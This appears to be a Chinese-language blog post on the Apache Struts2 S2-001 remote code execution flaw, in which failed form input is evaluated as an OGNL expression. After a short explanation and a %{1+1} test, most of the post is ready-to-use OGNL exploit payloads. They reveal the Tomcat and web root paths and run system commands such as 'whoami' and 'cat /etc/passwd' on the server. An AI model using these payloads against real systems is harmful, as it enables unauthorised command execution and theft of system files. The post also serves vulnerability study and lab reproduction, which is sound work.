S2-001 遠端程式碼執行漏洞
阿新 • • 發佈:2018-12-21
該漏洞因為使用者提交表單資料並且驗證失敗時,後端會將使用者之前提交的引數值使用 OGNL 表示式 %{value} 進行解析,然後重新填充到對應的表單資料中。例如註冊或登入頁面,提交失敗後端一般會預設返回之前提交的資料,由於後端使用 %{value} 對提交的資料執行了一次 OGNL 表示式解析,所以可以直接構造 Payload 進行命令執行
對漏洞進行測試,首先在password地方輸入%{1+1}
點選登陸,發現報錯返回解析成了2
證明漏洞存在。
POC && EXP
獲取tomcat執行路徑:
%{"tomcatBinDir{" [email protected]@getProperty("user.dir")+"}"}
獲取Web路徑:
%{
#[email protected]@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}
執行命令
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
執行任意命令時,如果所執行的命令需要組合,則將上述 payload 改為:
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
參考連結:
https://www.cnblogs.com/Eleven-Liu/p/9112553.html
https://github.com/vulhub/vulhub/blob/master/struts2/s2-001/README.zh-cn.md